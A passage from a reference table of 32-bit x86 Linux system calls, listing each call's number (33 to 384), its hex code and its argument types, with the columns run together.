33access0x21const char *filenameint mode----
34nice0x22int increment-----
35ftime0x23??????
36sync0x24------
37kill0x25pid_t pidint sig----
38rename0x26const char *oldnameconst char *newname----
39mkdir0x27const char *pathnameumode_t mode----
40rmdir0x28const char *pathname-----
41dup0x29unsigned int fildes-----
42pipe0x2aint *fildes-----
43times0x2bstruct tms *tbuf-----
44prof0x2c??????
45brk0x2dunsigned long brk-----
46setgid0x2egid_t gid-----
47getgid0x2f------
48signal0x30int sig__sighandler_t handler----
49geteuid0x31------
50getegid0x32------
51acct0x33const char *name-----
52umount20x34??????
53lock0x35??????
54ioctl0x36unsigned int fdunsigned int cmdunsigned long arg---
55fcntl0x37unsigned int fdunsigned int cmdunsigned long arg---
56mpx0x38??????
57setpgid0x39pid_t pidpid_t pgid----
58ulimit0x3a??????
59oldolduname0x3b??????
60umask0x3cint mask-----
61chroot0x3dconst char *filename-----
62ustat0x3eunsigned devstruct ustat *ubuf----
63dup20x3funsigned int oldfdunsigned int newfd----
64getppid0x40------
65getpgrp0x41------
66setsid0x42------
67sigaction0x43intconst struct old_sigaction *struct old_sigaction *---
68sgetmask0x44------
69ssetmask0x45int newmask-----
70setreuid0x46uid_t ruiduid_t euid----
71setregid0x47gid_t rgidgid_t egid----
72sigsuspend0x48int unused1int unused2old_sigset_t mask---
73sigpending0x49old_sigset_t *uset-----
74sethostname0x4achar *nameint len----
75setrlimit0x4bunsigned int resourcestruct rlimit *rlim----
76getrlimit0x4cunsigned int resourcestruct rlimit *rlim----
77getrusage0x4dint whostruct rusage *ru----
78gettimeofday0x4estruct timeval *tvstruct timezone *tz----
79settimeofday0x4fstruct timeval *tvstruct timezone *tz----
80getgroups0x50int gidsetsizegid_t *grouplist----
81setgroups0x51int gidsetsizegid_t *grouplist----
82select0x52int nfd_set *inpfd_set *outpfd_set *expstruct timeval *tvp-
83symlink0x53const char *oldconst char *new----
84oldlstat0x54??????
85readlink0x55const char *pathchar *bufint bufsiz---
86uselib0x56const char *library-----
87swapon0x57const char *specialfileint swap_flags----
88reboot0x58int magic1int magic2unsigned int cmdvoid *arg--
89readdir0x59??????
90mmap0x5a??????
91munmap0x5bunsigned long addrsize_t len----
92truncate0x5cconst char *pathlong length----
93ftruncate0x5dunsigned int fdunsigned long length----
94fchmod0x5eunsigned int fdumode_t mode----
95fchown0x5funsigned int fduid_t usergid_t group---
96getpriority0x60int whichint who----
97setpriority0x61int whichint whoint niceval---
98profil0x62??????
99statfs0x63const char * pathstruct statfs *buf----
100fstatfs0x64unsigned int fdstruct statfs *buf----
101ioperm0x65unsigned long fromunsigned long numint on---
102socketcall0x66int callunsigned long *args----
103syslog0x67int typechar *bufint len---
104setitimer0x68int whichstruct itimerval *valuestruct itimerval *ovalue---
105getitimer0x69int whichstruct itimerval *value----
106stat0x6aconst char *filenamestruct __old_kernel_stat *statbuf----
107lstat0x6bconst char *filenamestruct __old_kernel_stat *statbuf----
108fstat0x6cunsigned int fdstruct __old_kernel_stat *statbuf----
109olduname0x6dstruct oldold_utsname *-----
110iopl0x6e??????
111vhangup0x6f------
112idle0x70??????
113vm86old0x71??????
114wait40x72pid_t pidint *stat_addrint optionsstruct rusage *ru--
115swapoff0x73const char *specialfile-----
116sysinfo0x74struct sysinfo *info-----
117ipc0x75unsigned int callint firstunsigned long secondunsigned long thirdvoid *ptrlong fifth
118fsync0x76unsigned int fd-----
119sigreturn0x77??????
120clone0x78unsigned longunsigned longint *int *unsigned long-
121setdomainname0x79char *nameint len----
122uname0x7astruct old_utsname *-----
123modify_ldt0x7b??????
124adjtimex0x7cstruct timex *txc_p-----
125mprotect0x7dunsigned long startsize_t lenunsigned long prot---
126sigprocmask0x7eint howold_sigset_t *setold_sigset_t *oset---
127create_module0x7f??????
128init_module0x80void *umodunsigned long lenconst char *uargs---
129delete_module0x81const char *name_userunsigned int flags----
130get_kernel_syms0x82??????
131quotactl0x83unsigned int cmdconst char *specialqid_t idvoid *addr--
132getpgid0x84pid_t pid-----
133fchdir0x85unsigned int fd-----
134bdflush0x86int funclong data----
135sysfs0x87int optionunsigned long arg1unsigned long arg2---
136personality0x88unsigned int personality-----
137afs_syscall0x89??????
138setfsuid0x8auid_t uid-----
139setfsgid0x8bgid_t gid-----
140_llseek0x8c??????
141getdents0x8dunsigned int fdstruct linux_dirent *direntunsigned int count---
142_newselect0x8e??????
143flock0x8funsigned int fdunsigned int cmd----
144msync0x90unsigned long startsize_t lenint flags---
145readv0x91unsigned long fdconst struct iovec *vecunsigned long vlen---
146writev0x92unsigned long fdconst struct iovec *vecunsigned long vlen---
147getsid0x93pid_t pid-----
148fdatasync0x94unsigned int fd-----
149_sysctl0x95??????
150mlock0x96unsigned long startsize_t len----
151munlock0x97unsigned long startsize_t len----
152mlockall0x98int flags-----
153munlockall0x99------
154sched_setparam0x9apid_t pidstruct sched_param *param----
155sched_getparam0x9bpid_t pidstruct sched_param *param----
156sched_setscheduler0x9cpid_t pidint policystruct sched_param *param---
157sched_getscheduler0x9dpid_t pid-----
158sched_yield0x9e------
159sched_get_priority_max0x9fint policy-----
160sched_get_priority_min0xa0int policy-----
161sched_rr_get_interval0xa1pid_t pidstruct timespec *interval----
162nanosleep0xa2struct __kernel_timespec *rqtpstruct __kernel_timespec *rmtp----
163mremap0xa3unsigned long addrunsigned long old_lenunsigned long new_lenunsigned long flagsunsigned long new_addr-
164setresuid0xa4uid_t ruiduid_t euiduid_t suid---
165getresuid0xa5uid_t *ruiduid_t *euiduid_t *suid---
166vm860xa6??????
167query_module0xa7??????
168poll0xa8struct pollfd *ufdsunsigned int nfdsint timeout---
169nfsservctl0xa9??????
170setresgid0xaagid_t rgidgid_t egidgid_t sgid---
171getresgid0xabgid_t *rgidgid_t *egidgid_t *sgid---
172prctl0xacint optionunsigned long arg2unsigned long arg3unsigned long arg4unsigned long arg5-
173rt_sigreturn0xad??????
174rt_sigaction0xaeintconst struct sigaction *struct sigaction *size_t--
175rt_sigprocmask0xafint howsigset_t *setsigset_t *osetsize_t sigsetsize--
176rt_sigpending0xb0sigset_t *setsize_t sigsetsize----
177rt_sigtimedwait0xb1const sigset_t *uthesesiginfo_t *uinfoconst struct timespec *utssize_t sigsetsize--
178rt_sigqueueinfo0xb2pid_t pidint sigsiginfo_t *uinfo---
179rt_sigsuspend0xb3sigset_t *unewsetsize_t sigsetsize----
180pread640xb4unsigned int fdchar *bufsize_t countloff_t pos--
181pwrite640xb5unsigned int fdconst char *bufsize_t countloff_t pos--
182chown0xb6const char *filenameuid_t usergid_t group---
183getcwd0xb7char *bufunsigned long size----
184capget0xb8cap_user_header_t headercap_user_data_t dataptr----
185capset0xb9cap_user_header_t headerconst cap_user_data_t data----
186sigaltstack0xbaconst struct sigaltstack *ussstruct sigaltstack *uoss----
187sendfile0xbbint out_fdint in_fdoff_t *offsetsize_t count--
188getpmsg0xbc??????
189putpmsg0xbd??????
190vfork0xbe------
191ugetrlimit0xbf??????
192mmap20xc0??????
193truncate640xc1const char *pathloff_t length----
194ftruncate640xc2unsigned int fdloff_t length----
195stat640xc3const char *filenamestruct stat64 *statbuf----
196lstat640xc4const char *filenamestruct stat64 *statbuf----
197fstat640xc5unsigned long fdstruct stat64 *statbuf----
198lchown320xc6??????
199getuid320xc7??????
200getgid320xc8??????
201geteuid320xc9??????
202getegid320xca??????
203setreuid320xcb??????
204setregid320xcc??????
205getgroups320xcd??????
206setgroups320xce??????
207fchown320xcf??????
208setresuid320xd0??????
209getresuid320xd1??????
210setresgid320xd2??????
211getresgid320xd3??????
212chown320xd4??????
213setuid320xd5??????
214setgid320xd6??????
215setfsuid320xd7??????
216setfsgid320xd8??????
217pivot_root0xd9const char *new_rootconst char *put_old----
218mincore0xdaunsigned long startsize_t lenunsigned char * vec---
219madvise0xdbunsigned long startsize_t lenint behavior---
220getdents640xdcunsigned int fdstruct linux_dirent64 *direntunsigned int count---
221fcntl640xddunsigned int fdunsigned int cmdunsigned long arg---
222not implemented0xde
223not implemented0xdf
224gettid0xe0------
225readahead0xe1int fdloff_t offsetsize_t count---
226setxattr0xe2const char *pathconst char *nameconst void *valuesize_t sizeint flags-
227lsetxattr0xe3const char *pathconst char *nameconst void *valuesize_t sizeint flags-
228fsetxattr0xe4int fdconst char *nameconst void *valuesize_t sizeint flags-
229getxattr0xe5const char *pathconst char *namevoid *valuesize_t size--
230lgetxattr0xe6const char *pathconst char *namevoid *valuesize_t size--
231fgetxattr0xe7int fdconst char *namevoid *valuesize_t size--
232listxattr0xe8const char *pathchar *listsize_t size---
233llistxattr0xe9const char *pathchar *listsize_t size---
234flistxattr0xeaint fdchar *listsize_t size---
235removexattr0xebconst char *pathconst char *name----
236lremovexattr0xecconst char *pathconst char *name----
237fremovexattr0xedint fdconst char *name----
238tkill0xeepid_t pidint sig----
239sendfile640xefint out_fdint in_fdloff_t *offsetsize_t count--
240futex0xf0u32 *uaddrint opu32 valstruct timespec *utimeu32 *uaddr2u32 val3
241sched_setaffinity0xf1pid_t pidunsigned int lenunsigned long *user_mask_ptr---
242sched_getaffinity0xf2pid_t pidunsigned int lenunsigned long *user_mask_ptr---
243set_thread_area0xf3??????
244get_thread_area0xf4??????
245io_setup0xf5unsigned nr_reqsaio_context_t *ctx----
246io_destroy0xf6aio_context_t ctx-----
247io_getevents0xf7aio_context_t ctx_idlong min_nrlong nrstruct io_event *eventsstruct timespec *timeout-
248io_submit0xf8aio_context_tlongstruct iocb * *---
249io_cancel0xf9aio_context_t ctx_idstruct iocb *iocbstruct io_event *result---
250fadvise640xfaint fdloff_t offsetsize_t lenint advice--
251not implemented0xfb
252exit_group0xfcint error_code-----
253lookup_dcookie0xfdu64 cookie64char *bufsize_t len---
254epoll_create0xfeint size-----
255epoll_ctl0xffint epfdint opint fdstruct epoll_event *event--
256epoll_wait0x100int epfdstruct epoll_event *eventsint maxeventsint timeout--
257remap_file_pages0x101unsigned long startunsigned long sizeunsigned long protunsigned long pgoffunsigned long flags-
258set_tid_address0x102int *tidptr-----
259timer_create0x103clockid_t which_clockstruct sigevent *timer_event_spectimer_t * created_timer_id---
260timer_settime0x104timer_t timer_idint flagsconst struct __kernel_itimerspec *new_settingstruct itimerspec *old_setting--
261timer_gettime0x105timer_t timer_idstruct __kernel_itimerspec *setting----
262timer_getoverrun0x106timer_t timer_id-----
263timer_delete0x107timer_t timer_id-----
264clock_settime0x108clockid_t which_clockconst struct __kernel_timespec *tp----
265clock_gettime0x109clockid_t which_clockstruct __kernel_timespec *tp----
266clock_getres0x10aclockid_t which_clockstruct __kernel_timespec *tp----
267clock_nanosleep0x10bclockid_t which_clockint flagsconst struct __kernel_timespec *rqtpstruct __kernel_timespec *rmtp--
268statfs640x10cconst char *pathsize_t szstruct statfs64 *buf---
269fstatfs640x10dunsigned int fdsize_t szstruct statfs64 *buf---
270tgkill0x10epid_t tgidpid_t pidint sig---
271utimes0x10fchar *filenamestruct timeval *utimes----
272fadvise64_640x110int fdloff_t offsetloff_t lenint advice--
273vserver0x111??????
274mbind0x112unsigned long startunsigned long lenunsigned long modeconst unsigned long *nmaskunsigned long maxnodeunsigned flags
275get_mempolicy0x113int *policyunsigned long *nmaskunsigned long maxnodeunsigned long addrunsigned long flags-
276set_mempolicy0x114int modeconst unsigned long *nmaskunsigned long maxnode---
277mq_open0x115const char *nameint oflagumode_t modestruct mq_attr *attr--
278mq_unlink0x116const char *name-----
279mq_timedsend0x117mqd_t mqdesconst char *msg_ptrsize_t msg_lenunsigned int msg_prioconst struct __kernel_timespec *abs_timeout-
280mq_timedreceive0x118mqd_t mqdeschar *msg_ptrsize_t msg_lenunsigned int *msg_prioconst struct __kernel_timespec *abs_timeout-
281mq_notify0x119mqd_t mqdesconst struct sigevent *notification----
282mq_getsetattr0x11amqd_t mqdesconst struct mq_attr *mqstatstruct mq_attr *omqstat---
283kexec_load0x11bunsigned long entryunsigned long nr_segmentsstruct kexec_segment *segmentsunsigned long flags--
284waitid0x11cint whichpid_t pidstruct siginfo *infopint optionsstruct rusage *ru-
285not implemented0x11d
286add_key0x11econst char *_typeconst char *_descriptionconst void *_payloadsize_t plenkey_serial_t destringid-
287request_key0x11fconst char *_typeconst char *_descriptionconst char *_callout_infokey_serial_t destringid--
288keyctl0x120int cmdunsigned long arg2unsigned long arg3unsigned long arg4unsigned long arg5-
289ioprio_set0x121int whichint whoint ioprio---
290ioprio_get0x122int whichint who----
291inotify_init0x123------
292inotify_add_watch0x124int fdconst char *pathu32 mask---
293inotify_rm_watch0x125int fd__s32 wd----
294migrate_pages0x126pid_t pidunsigned long maxnodeconst unsigned long *fromconst unsigned long *to--
295openat0x127int dfdconst char *filenameint flagsumode_t mode--
296mkdirat0x128int dfdconst char * pathnameumode_t mode---
297mknodat0x129int dfdconst char * filenameumode_t modeunsigned dev--
298fchownat0x12aint dfdconst char *filenameuid_t usergid_t groupint flag-
299futimesat0x12bint dfdconst char *filenamestruct timeval *utimes---
300fstatat640x12cint dfdconst char *filenamestruct stat64 *statbufint flag--
301unlinkat0x12dint dfdconst char * pathnameint flag---
302renameat0x12eint olddfdconst char * oldnameint newdfdconst char * newname--
303linkat0x12fint olddfdconst char *oldnameint newdfdconst char *newnameint flags-
304symlinkat0x130const char * oldnameint newdfdconst char * newname---
305readlinkat0x131int dfdconst char *pathchar *bufint bufsiz--
306fchmodat0x132int dfdconst char * filenameumode_t mode---
307faccessat0x133int dfdconst char *filenameint mode---
308pselect60x134intfd_set *fd_set *fd_set *struct timespec *void *
309ppoll0x135struct pollfd *unsigned intstruct timespec *const sigset_t *size_t-
310unshare0x136unsigned long unshare_flags-----
311set_robust_list0x137struct robust_list_head *headsize_t len----
312get_robust_list0x138int pidstruct robust_list_head * *head_ptrsize_t *len_ptr---
313splice0x139int fd_inloff_t *off_inint fd_outloff_t *off_outsize_t lenunsigned int flags
314sync_file_range0x13aint fdloff_t offsetloff_t nbytesunsigned int flags--
315tee0x13bint fdinint fdoutsize_t lenunsigned int flags--
316vmsplice0x13cint fdconst struct iovec *iovunsigned long nr_segsunsigned int flags--
317move_pages0x13dpid_t pidunsigned long nr_pagesconst void * *pagesconst int *nodesint *statusint flags
318getcpu0x13eunsigned *cpuunsigned *nodestruct getcpu_cache *cache---
319epoll_pwait0x13fint epfdstruct epoll_event *eventsint maxeventsint timeoutconst sigset_t *sigmasksize_t sigsetsize
320utimensat0x140int dfdconst char *filenamestruct timespec *utimesint flags--
321signalfd0x141int ufdsigset_t *user_masksize_t sizemask---
322timerfd_create0x142int clockidint flags----
323eventfd0x143unsigned int count-----
324fallocate0x144int fdint modeloff_t offsetloff_t len--
325timerfd_settime0x145int ufdint flagsconst struct __kernel_itimerspec *utmrstruct __kernel_itimerspec *otmr--
326timerfd_gettime0x146int ufdstruct __kernel_itimerspec *otmr----
327signalfd40x147int ufdsigset_t *user_masksize_t sizemaskint flags--
328eventfd20x148unsigned int countint flags----
329epoll_create10x149int flags-----
330dup30x14aunsigned int oldfdunsigned int newfdint flags---
331pipe20x14bint *fildesint flags----
332inotify_init10x14cint flags-----
333preadv0x14dunsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_h-
334pwritev0x14eunsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_h-
335rt_tgsigqueueinfo0x14fpid_t tgidpid_t pidint sigsiginfo_t *uinfo--
336perf_event_open0x150struct perf_event_attr *attr_uptrpid_t pidint cpuint group_fdunsigned long flags-
337recvmmsg0x151int fdstruct mmsghdr *msgunsigned int vlenunsigned flagsstruct timespec *timeout-
338fanotify_init0x152unsigned int flagsunsigned int event_f_flags----
339fanotify_mark0x153int fanotify_fdunsigned int flagsu64 maskint fdconst char *pathname-
340prlimit640x154pid_t pidunsigned int resourceconst struct rlimit64 *new_rlimstruct rlimit64 *old_rlim--
341name_to_handle_at0x155int dfdconst char *namestruct file_handle *handleint *mnt_idint flag-
342open_by_handle_at0x156int mountdirfdstruct file_handle *handleint flags---
343clock_adjtime0x157clockid_t which_clockstruct timex *tx----
344syncfs0x158int fd-----
345sendmmsg0x159int fdstruct mmsghdr *msgunsigned int vlenunsigned flags--
346setns0x15aint fdint nstype----
347process_vm_readv0x15bpid_t pidconst struct iovec *lvecunsigned long liovcntconst struct iovec *rvecunsigned long riovcntunsigned long flags
348process_vm_writev0x15cpid_t pidconst struct iovec *lvecunsigned long liovcntconst struct iovec *rvecunsigned long riovcntunsigned long flags
349kcmp0x15dpid_t pid1pid_t pid2int typeunsigned long idx1unsigned long idx2-
350finit_module0x15eint fdconst char *uargsint flags---
351sched_setattr0x15fpid_t pidstruct sched_attr *attrunsigned int flags---
352sched_getattr0x160pid_t pidstruct sched_attr *attrunsigned int sizeunsigned int flags--
353renameat20x161int olddfdconst char *oldnameint newdfdconst char *newnameunsigned int flags-
354seccomp0x162unsigned int opunsigned int flagsconst char *uargs---
355getrandom0x163char *bufsize_t countunsigned int flags---
356memfd_create0x164const char *uname_ptrunsigned int flags----
357bpf0x165int cmdunion bpf_attr *attrunsigned int size---
358execveat0x166int dfdconst char *filenameconst char *const *argvconst char *const *envpint flags-
359socket0x167intintint---
360socketpair0x168intintintint *--
361bind0x169intstruct sockaddr *int---
362connect0x16aintstruct sockaddr *int---
363listen0x16bintint----
364accept40x16cintstruct sockaddr *int *int--
365getsockopt0x16dint fdint levelint optnamechar *optvalint *optlen-
366setsockopt0x16eint fdint levelint optnamechar *optvalint optlen-
367getsockname0x16fintstruct sockaddr *int *---
368getpeername0x170intstruct sockaddr *int *---
369sendto0x171intvoid *size_tunsignedstruct sockaddr *int
370sendmsg0x172int fdstruct user_msghdr *msgunsigned flags---
371recvfrom0x173intvoid *size_tunsignedstruct sockaddr *int *
372recvmsg0x174int fdstruct user_msghdr *msgunsigned flags---
373shutdown0x175intint----
374userfaultfd0x176int flags-----
375membarrier0x177int cmdint flags----
376mlock20x178unsigned long startsize_t lenint flags---
377copy_file_range0x179int fd_inloff_t *off_inint fd_outloff_t *off_outsize_t lenunsigned int flags
378preadv20x17aunsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_hrwf_t flags
379pwritev20x17bunsigned long fdconst struct iovec *vecunsigned long vlenunsigned long pos_lunsigned long pos_hrwf_t flags
380pkey_mprotect0x17cunsigned long startsize_t lenunsigned long protint pkey--
381pkey_alloc0x17dunsigned long flagsunsigned long init_val----
382pkey_free0x17eint pkey-----
383statx0x17fint dfdconst char *pathunsigned flagsunsigned maskstruct statx *buffer-
384arch_prctl0x180??????